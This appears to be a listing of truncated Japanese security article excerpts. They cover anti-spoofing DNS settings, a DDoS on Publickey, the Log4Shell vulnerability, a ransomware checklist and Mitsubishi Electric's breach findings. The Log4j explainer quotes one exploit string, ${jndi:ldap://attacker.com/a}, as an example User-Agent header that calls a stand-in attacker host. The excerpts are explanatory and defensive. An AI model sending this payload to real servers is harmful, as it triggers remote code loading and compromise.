使用していないドメインを勝手に名乗ってメールを送信されるのを防ぐためのDNS設定まとめ
メールを送る際、「送信元」欄にはどんな内容でも記入することが可能なため、簡単に他人になりすますことができます。誰かが自分の所有しているドメインになりすましてメールを送った時、受信者にそのメールが「なりすましメール」であることを伝えるためのDNS設定についてエンジニアのヴィヴェク・ガイト氏が解説しています。 DNS settings to avoid email spoofing and phishing for unused domain - nixCraft https://www.cyberciti.biz/security/dns-settings-to-avoid-email-spoofing-and-phishing-for-unused-domain/ ガイト氏の解説は「メールを使用していないドメイン」を対象に、「そのドメインがメールを送信しないこと」および「もしそのドメインか
続、Publickeyが受けたDoS攻撃、これまでの経緯と対策まとめ
先週の火曜日、3月12日に始まったPublickeyへのDDoS攻撃は今週日曜日、3月18日日曜日の早朝を最後に収まったようです。この記事執筆時点でPublickeyのサーバは平常に戻っています。 この間、読者や広告を掲載いただいているお客様や代理店様にご不便やご心配をおかけし申し訳ありませんでした。 DoS攻撃とは、大量のトラフィックをWebサーバなどに浴びせることでサーバを応答不能にしてしまう攻撃のことです。 前回の報告「Publickeyが受けたDoS攻撃、これまでの経緯と対策まとめ」の後、さらにいくつか対策を講じましたので、この記事では前回の報告以後の経緯と講じた対策を記したいと思います。 また、前回の報告では「DoS攻撃」と書きましたが、その後Publickeyのサーバをホスティングしているさくらインターネットのサポート担当の方から、今回の攻撃は分散した箇所から攻撃を受けていると
【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について
JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を
ランサムウェア対策チェックリスト！攻撃を防ぐ為の30の対策と対処
ランサムウェアの被害は、年々深刻かつ巧妙になってきています。ランサムウェアに感染すると、システムや業務停止だけではなく、情報流出によって社会的信用を失い、企業存続の危機にまで発展する恐れがあるためです。最近では、二重脅迫型といわれるランサムウェアが多くなってきました。貴社データを暗号化するだけではなく、貴社の情報を搾取し、機密データをインターネット上への公開すると脅迫し、二重に身代金を要求するというものです。組織の規模の大小に関わらずITシステムを利用していれるすべての企業が標的と成り得ますので、ランサムウェア対策を見直す必要があります。 身近な影響では、今年の5月には米国で石油パイプライン運営会社がランサムウェア攻撃を受け、国内のガソリン価格にも影響がでたことは記憶に新しいと思います。このような世界的なニュースになる大規模被害だけではなく、日本でも多くの企業がランサムウェアの被害に遭遇し
三菱電機、不正アクセス事案の調査結果を公開
印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 三菱電機は、1月に発表した機密情報の流出が疑われる不正アクセスに関する調査結果を公開した。セキュリティ対策システムの脆弱性を突く手口での侵入から社内で侵入が拡大したと説明している。 この事案は、同社への不正アクセスによって個人情報や防衛省が取り扱いでの注意を規定した情報などの外部流出が疑われたもの。社会インフラに関する機微情報や機密性の高い技術情報、取引先との契約で定められた重要情報の流出はなかったとする。 同社では、以前から米国国立標準技術研究所（NIST）の「サイバーセキュリティフレームワーク」に基づいて、標的型メールの挙動検知やインターネット出入口の制御・監視、社内ネットワーク内のアクセス制御、パッチ管理を含むサーバーおよび端末の
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